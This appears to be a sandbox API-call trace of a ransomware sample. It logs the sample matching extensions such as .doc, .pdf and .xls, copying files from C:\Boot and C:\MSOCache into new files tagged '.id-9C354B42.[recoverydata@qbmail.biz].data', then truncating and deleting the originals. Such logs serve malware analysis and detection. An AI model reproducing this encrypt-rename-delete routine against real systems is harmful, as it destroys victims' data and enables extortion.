lstrlenW (lpString=".jpg") returned 4 [0074.225] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0074.225] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0074.225] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0074.225] lstrlenW (lpString=".doc") returned 4 [0074.225] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0074.225] lstrlenW (lpString=".docx") returned 5 [0074.225] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0074.225] lstrlenW (lpString=".pdf") returned 4 [0074.225] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0074.226] lstrlenW (lpString=".xls") returned 4 [0074.226] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0074.226] lstrlenW (lpString=".xlsx") returned 5 [0074.226] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0074.226] lstrlenW (lpString=".ppt") returned 4 [0074.226] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0074.226] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0074.226] lstrlenW (lpString=".zip") returned 4 [0074.226] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0074.226] lstrlenW (lpString=".rar") returned 4 [0074.226] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0074.226] lstrlenW (lpString=".bz2") returned 4 [0074.226] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0074.226] lstrlenW (lpString=".7z") returned 3 [0074.226] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0074.226] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0074.226] lstrlenW (lpString=".dbf") returned 4 [0074.226] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0074.226] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0074.227] lstrlenW (lpString=".1cd") returned 4 [0074.227] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0074.227] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0074.227] lstrlenW (lpString=".jpg") returned 4 [0074.227] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0074.227] lstrcmpiW (lpString1=".DAT", lpString2=".data") returned -1 [0074.227] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0074.227] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0074.228] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=65536) returned 1 [0074.228] CloseHandle (hObject=0x17c) returned 1 [0074.228] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0074.228] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.228] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0074.229] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0074.229] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0074.229] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0074.229] GetLastError () returned 0x0 [0074.229] ReadFile (in: hFile=0x17c, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x10000, lpOverlapped=0x0) returned 1 [0074.252] WriteFile (in: hFile=0x15c, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x10010, lpOverlapped=0x0) returned 1 [0074.255] ReadFile (in: hFile=0x17c, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0074.255] WriteFile (in: hFile=0x15c, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xec, lpOverlapped=0x0) returned 1 [0074.255] SetEndOfFile (hFile=0x15c) returned 1 [0074.255] CloseHandle (hObject=0x15c) returned 1 [0074.257] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0074.258] SetEndOfFile (hFile=0x17c) returned 1 [0074.259] CloseHandle (hObject=0x17c) returned 1 [0074.260] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x26) returned 1 [0074.260] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0074.260] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0074.260] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0074.261] lstrlenW (lpString=".doc") returned 4 [0074.261] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0074.261] lstrlenW (lpString=".docx") returned 5 [0074.261] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0074.261] lstrlenW (lpString=".pdf") returned 4 [0074.261] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0074.261] lstrlenW (lpString=".xls") returned 4 [0074.261] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0074.261] lstrlenW (lpString=".xlsx") returned 5 [0074.261] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0074.261] lstrlenW (lpString=".ppt") returned 4 [0074.261] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0074.261] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0074.261] lstrlenW (lpString=".zip") returned 4 [0074.261] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0074.262] lstrlenW (lpString=".rar") returned 4 [0074.262] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0074.262] lstrlenW (lpString=".bz2") returned 4 [0074.262] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0074.262] lstrlenW (lpString=".7z") returned 3 [0074.262] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0074.262] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0074.262] lstrlenW (lpString=".dbf") returned 4 [0074.262] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0074.262] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0074.262] lstrlenW (lpString=".1cd") returned 4 [0074.262] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0074.262] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0074.263] lstrlenW (lpString=".jpg") returned 4 [0074.263] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0074.263] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0074.670] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0074.670] lstrlenW (lpString=".doc") returned 4 [0074.670] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0074.670] lstrlenW (lpString=".docx") returned 5 [0074.670] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0074.670] lstrlenW (lpString=".pdf") returned 4 [0074.670] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0074.670] lstrlenW (lpString=".xls") returned 4 [0074.670] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0074.670] lstrlenW (lpString=".xlsx") returned 5 [0074.670] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0074.670] lstrlenW (lpString=".ppt") returned 4 [0074.670] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0074.670] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0074.670] lstrlenW (lpString=".zip") returned 4 [0074.670] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0074.670] lstrlenW (lpString=".rar") returned 4 [0074.671] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0074.671] lstrlenW (lpString=".bz2") returned 4 [0074.671] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0074.671] lstrlenW (lpString=".7z") returned 3 [0074.671] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0074.671] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0074.671] lstrlenW (lpString=".dbf") returned 4 [0074.671] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0074.671] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0074.671] lstrlenW (lpString=".1cd") returned 4 [0074.671] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0074.671] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0074.671] lstrlenW (lpString=".jpg") returned 4 [0074.671] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0074.672] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0074.672] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0074.672] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0075.514] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=1565) returned 1 [0075.515] CloseHandle (hObject=0x1c8) returned 1 [0075.515] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0075.515] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0075.515] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0075.515] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.515] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.516] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0075.516] GetLastError () returned 0x0 [0075.516] ReadFile (in: hFile=0x1c8, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x61d, lpOverlapped=0x0) returned 1 [0075.589] WriteFile (in: hFile=0x1cc, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x620, lpOverlapped=0x0) returned 1 [0075.591] ReadFile (in: hFile=0x1c8, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0075.591] WriteFile (in: hFile=0x1cc, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xec, lpOverlapped=0x0) returned 1 [0075.591] SetEndOfFile (hFile=0x1cc) returned 1 [0075.591] CloseHandle (hObject=0x1cc) returned 1 [0075.594] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.594] SetEndOfFile (hFile=0x1c8) returned 1 [0075.595] CloseHandle (hObject=0x1c8) returned 1 [0075.595] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0075.596] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0075.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0075.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0075.597] lstrlenW (lpString=".doc") returned 4 [0075.597] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.597] lstrlenW (lpString=".docx") returned 5 [0075.597] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0075.597] lstrlenW (lpString=".pdf") returned 4 [0075.597] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.597] lstrlenW (lpString=".xls") returned 4 [0075.597] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.597] lstrlenW (lpString=".xlsx") returned 5 [0075.597] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0075.597] lstrlenW (lpString=".ppt") returned 4 [0075.597] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.598] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0075.598] lstrlenW (lpString=".zip") returned 4 [0075.598] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.598] lstrlenW (lpString=".rar") returned 4 [0075.598] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.598] lstrlenW (lpString=".bz2") returned 4 [0075.598] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.598] lstrlenW (lpString=".7z") returned 3 [0075.598] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.598] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0075.598] lstrlenW (lpString=".dbf") returned 4 [0075.598] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.599] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0075.599] lstrlenW (lpString=".1cd") returned 4 [0075.599] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0075.599] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0075.599] lstrlenW (lpString=".jpg") returned 4 [0075.599] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0075.599] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0075.599] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0075.599] lstrlenW (lpString=".doc") returned 4 [0075.599] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.599] lstrlenW (lpString=".docx") returned 5 [0075.600] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0075.600] lstrlenW (lpString=".pdf") returned 4 [0075.600] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.600] lstrlenW (lpString=".xls") returned 4 [0075.600] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.600] lstrlenW (lpString=".xlsx") returned 5 [0075.600] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0075.600] lstrlenW (lpString=".ppt") returned 4 [0075.600] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.600] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0075.600] lstrlenW (lpString=".zip") returned 4 [0075.600] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.600] lstrlenW (lpString=".rar") returned 4 [0075.601] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.601] lstrlenW (lpString=".bz2") returned 4 [0075.601] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.601] lstrlenW (lpString=".7z") returned 3 [0075.601] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.601] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0075.601] lstrlenW (lpString=".dbf") returned 4 [0075.601] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.601] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0075.601] lstrlenW (lpString=".1cd") returned 4 [0075.601] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0075.601] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0075.601] lstrlenW (lpString=".jpg") returned 4 [0075.601] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0075.602] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0075.602] lstrlenW (lpString="Setup.xml") returned 9 [0075.602] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0075.602] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=2424) returned 1 [0075.603] CloseHandle (hObject=0x1c8) returned 1 [0075.603] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0075.603] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0075.603] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0075.603] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.603] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.603] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0075.744] GetLastError () returned 0x0 [0075.744] ReadFile (in: hFile=0x1c8, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x978, lpOverlapped=0x0) returned 1 [0075.785] WriteFile (in: hFile=0x194, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x980, lpOverlapped=0x0) returned 1 [0075.787] ReadFile (in: hFile=0x1c8, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0075.787] WriteFile (in: hFile=0x194, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0075.787] SetEndOfFile (hFile=0x194) returned 1 [0075.788] CloseHandle (hObject=0x194) returned 1 [0076.224] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.224] SetEndOfFile (hFile=0x1c8) returned 1 [0076.261] CloseHandle (hObject=0x1c8) returned 1 [0076.261] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0076.261] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0076.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.262] lstrlenW (lpString=".doc") returned 4 [0076.262] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.262] lstrlenW (lpString=".docx") returned 5 [0076.262] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0076.262] lstrlenW (lpString=".pdf") returned 4 [0076.262] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.262] lstrlenW (lpString=".xls") returned 4 [0076.262] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.262] lstrlenW (lpString=".xlsx") returned 5 [0076.262] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0076.262] lstrlenW (lpString=".ppt") returned 4 [0076.262] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.262] lstrlenW (lpString=".zip") returned 4 [0076.262] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.262] lstrlenW (lpString=".rar") returned 4 [0076.262] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.262] lstrlenW (lpString=".bz2") returned 4 [0076.263] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.263] lstrlenW (lpString=".7z") returned 3 [0076.263] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.263] lstrlenW (lpString=".dbf") returned 4 [0076.263] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.263] lstrlenW (lpString=".1cd") returned 4 [0076.263] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.263] lstrlenW (lpString=".jpg") returned 4 [0076.263] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.263] lstrlenW (lpString=".doc") returned 4 [0076.263] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.263] lstrlenW (lpString=".docx") returned 5 [0076.263] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0076.263] lstrlenW (lpString=".pdf") returned 4 [0076.263] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.263] lstrlenW (lpString=".xls") returned 4 [0076.263] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.263] lstrlenW (lpString=".xlsx") returned 5 [0076.263] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0076.264] lstrlenW (lpString=".ppt") returned 4 [0076.264] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.264] lstrlenW (lpString=".zip") returned 4 [0076.264] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 